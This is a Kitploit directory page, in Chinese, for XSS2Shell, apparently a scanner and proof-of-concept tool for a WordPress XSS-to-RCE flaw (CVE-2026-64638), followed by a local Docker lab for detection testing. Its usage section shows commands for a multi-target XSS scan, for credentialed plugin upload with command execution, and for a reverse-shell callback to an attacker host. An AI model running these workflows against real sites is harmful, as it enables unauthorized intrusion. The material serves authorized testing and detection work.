Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
XSS2Shell-CVE-2026-64638 — 经授权的 WordPress XSS 到 RCE 扫描器,支持并发多目标 XSS 反射检测与版本指纹识别,并附带可选的漏洞利用工作流。 | Kitploit
工具/GitHubGitHub/yogagymn/xss2shell-cve-2026-64638
侦察Web漏洞扫描器漏洞利用Web应用程序漏洞利用信息收集Web安全渗透测试
GitHubyogagymn/xss2shell-cve-2026-64638

XSS2Shell-CVE-2026-64638

经授权的 WordPress XSS 到 RCE 扫描器,支持并发多目标 XSS 反射检测与版本指纹识别,并附带可选的漏洞利用工作流。

查看仓库
1322个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

XSS2Shell 多目标扫描器

开发者: YogaGymn

用于经授权的 WordPress 安全测试的 PoC/扫描工具。该项目包含单目标利用工作流和并发多目标仅扫描模式。

重要提示: 仅在您拥有或已获得明确测试授权的 WordPress 安装上使用此项目。多目标扫描器有意仅限于指纹识别和 XSS 反射检测;它不会针对目标列表执行凭据捕获、插件上传或 RCE。

功能特性

单目标模式

原始脚本支持:

  • WordPress 版本指纹识别。
  • XSS 反射检测。
  • auto、xss 和 direct 模式。
  • 直接 WordPress 身份验证和插件上传工作流。
  • 原始 PoC 中存在的 XSS 链功能。
  • 原始 PoC 中存在的可选回调/反向 shell 功能。

多目标模式

新增的扫描器支持:

  • 从文本文件读取目标。
  • 去除重复目标。
  • 使用 ThreadPoolExecutor 进行并发扫描。
  • 可配置的工作线程数。
  • WordPress 版本检测。
  • XSS 反射检测。
  • 进度报告。
  • 结果按输入文件的相同顺序保存。
  • 汇总统计信息。

多目标模式不会调用原始的 RCE 函数。

环境要求

  • Python 3.9+
  • requests

安装依赖:

python3 -m pip install requests

如果你的 Linux 发行版使用外部管理的 Python 环境,请使用虚拟环境:

python3 -m venv .venv
source .venv/bin/activate
pip install requests

安装

克隆或复制该项目:

git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638

或者直接放置:

xss2shell.py

in your working directory.

多目标扫描器

创建一个名为 targets.txt 的文件:

https://example1.test
https://example2.test
https://example3.test

注释和空行会被忽略:

# Authorized lab targets
https://example1.test

https://example2.test

运行扫描器:

python3 xss2shell.py -i targets.txt

默认并发数为 10 个 worker。

更改并发数

例如,使用 20 个 worker:

python3 xss2shell.py -i targets.txt --workers 20

对于小型实验室:

python3 xss2shell.py -i targets.txt --workers 5

不要选择不必要的高 worker 数量,因为这会增加连接负载,并可能触发速率限制或防御性控制。

更改输出文件

python3 xss2shell.py \
  -i targets.txt \
  --workers 10 \
  --output results.txt

示例输出

[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE

[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)

=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected  : 1
Not detected  : 2
Errors        : 0
Results saved : scan_results.txt

结果格式

默认的 scan_results.txt 使用制表符分隔的字段:

TARGET  WORDPRESS_VERSION  XSS_STATUS  XSS_DETAIL

示例:

https://example1.test    6.8.2    XSS_NOT_DETECTED          ESCAPED
https://example2.test    6.7.1    XSS_REFLECTION_DETECTED   AREA_BYPASS

XSS 状态值


状态 含义


XSS_REFLECTION_DETECTED 扫描器检测到所测试的 HTML 反射行为。这本身并不构成 RCE 的证据。

XSS_NOT_DETECTED 未检测到所测试的反射。

ERROR 检查过程中遇到异常。

XSS 详情值

扫描器可报告如下详情:

  • RAW_HTML
  • AREA_BYPASS
  • ESCAPED
  • STRIPPED
  • NOT_REFLECTED

这些值描述检测例程所观察到的响应;在将结果视为已确认漏洞之前,应进行人工验证。

单目标用法

原始脚本同样支持单目标参数。

自动模式

python3 xss2shell.py \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

直接模式

python3 xss2shell.py \
  --mode direct \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

XSS 模式

python3 xss2shell.py \
  --mode xss \
  --lhost 192.0.2.10 \
  http://authorized-lab.test

XSS/直接工作流可以创建或激活包含命令执行功能的插件。仅在授权的测试环境中使用它们。

CLI 参考

usage: xss2shell.py [-h]
       [-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
       [--mode {auto,xss,direct}]
       [-u USERNAME] [-p PASSWORD]
       [--lhost LHOST] [--lport LPORT]
       [--slug SLUG] [--callback-port CALLBACK_PORT]
       [--no-rev]
       [target]

参数


参数 描述


target 单个目标 URL。

-i、--input 包含多个目标的文件。

--output 多目标结果的输出文件。默认: scan_results.txt。

--workers 并发工作线程数。默认:10。

--mode 原始单目标模式:auto、xss 或 direct。

-u、--username 用于原始直接/回退工作流的 WordPress 用户名。

-p、--password 用于原始直接/回退工作流的 WordPress 密码。

--lhost 用于原始 PoC 的回调/反向 shell 主机。

--lport 反向 shell 端口。默认:4444。

--slug 插件 slug。默认:xss2shell。

--callback-port 回调服务器端口。默认:9090。

--no-rev 在原始工作流中跳过反向 shell 触发。

并发扫描的工作原理

多目标模式使用 Python 的:

ThreadPoolExecutor

每个目标都作为独立的扫描任务提交:

targets.txt
     |
     v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ... 
+----+----+----+----+
  |    |    |    |
  v    v    v    v
 WP   WP   WP   WP
 XSS  XSS  XSS  XSS
  |    |    |    |
  +----+----+----+
        |
        v
   scan_results.txt

结果会在各工作线程完成时收集,而最终输出则按照原始目标顺序写入。

范围与安全

多目标模式专为经授权的安全评估和实验环境而设计。

推荐工作流程:

  1. 获取书面授权。
  2. 仅将经授权的域名/IP 放入 targets.txt。
  3. 以较低的 worker 数量启动。
  4. 审查扫描器输出。
  5. 手动验证有价值的发现。
  6. 记录证据与修复措施。

未经许可,请勿对第三方系统使用该扫描器。

局限性

该扫描器并非完整的漏洞评估工具。

具体而言:

  • 检测到 HTML 反射并不自动证明存在可利用的 XSS。
  • 从公开端点获取的 WordPress 版本可能缺失或不准确。
  • unknown 并不意味着目标存在漏洞。
  • 网络错误可能导致结果不完整。
  • WAF/CDN 行为可能影响检测。
  • 在多目标模式下,该扫描器不会确认可利用性或 RCE。
  • 在报告漏洞之前,应手动验证结果。

项目结构

.
├── xss2shell.py
├── targets.txt
└── scan_results.txt

Lab CVE-2026-64638 (XSS2Shell) — 漏洞版本与已修补版本对比

一个本地隔离的实验环境,用于针对 CVE-2026-64638(WordPress Core 登录页面上的预认证反射型 XSS)测试红队检测工具。

实验环境内容

服务角色本地端口WordPress 版本
wp-vulnerable漏洞版本80816.4(处于漏洞影响范围 6.4–7.0.2 内)
wp-patched已修补版本8082最新版(待 Docker Hub 上可用后固定为 7.0.3)
adminer数据库检查工具8083-

所有端口仅绑定到 127.0.0.1,因此无法从你的宿主机外部访问。

运行实验环境

docker compose up -d
docker compose ps

等待 15–30 秒让 MySQL 就绪,然后打开:

  • 漏洞环境:http://localhost:8081
  • 已修补环境:http://localhost:8082

在两个实例上完成标准的 WordPress 安装向导(创建管理员账户等)。

验证正在运行的版本

# Check the actual WordPress version in each container
docker exec wp_lab_vulnerable wp core version --allow-root --path=/var/www/html
docker exec wp_lab_patched wp core version --allow-root --path=/var/www/html

如果镜像中没有 wp-cli,请通过 /wp-admin/index.php 页面检查(版本通常显示在页脚中),或通过页面源代码中的 meta generator 标签检查:

curl -s http://localhost:8081 | grep -i generator
curl -s http://localhost:8082 | grep -i generator

测试你的检测工具

将你的红队工具指向两个端点:

  • 真阳性检查:http://localhost:8081/wp-login.php → 应被标记为存在漏洞。
  • 真阴性检查:http://localhost:8082/wp-login.php → 不应被标记为存在漏洞(验证无误报)。

对于基于版本的检测(而非主动利用),红队/蓝队使用的最安全且最常见的方法是版本指纹识别:从 meta generator 标签或 /wp-json/ REST API 中提取版本号,然后将其与受影响的版本范围(6.4 ≤ version ≤ 7.0.2)进行比较。

curl -s http://localhost:8081/wp-json/ | grep -o '"version":"[^"]*"'

拆除实验环境

docker compose down -v   # removes all containers + data volumes

重要说明

  • 本实验仅用于防御/检测测试(版本检查、响应指纹识别),不用于运行完整的漏洞利用链。CVE-2026-64638 的净化绕过细节已被研究人员和 WordPress 团队有意地未广泛公开。
  • 请勿将本实验的端口暴露到公共网络或互联网。
  • 如果 Docker Hub 尚未提供官方 wordpress:7.0.3 标签,请使用 wordpress:latest 镜像作为已修补实例的临时替代,待该标签可用后再更新。

许可证

所提供的源文件中未包含许可证信息。

下载工具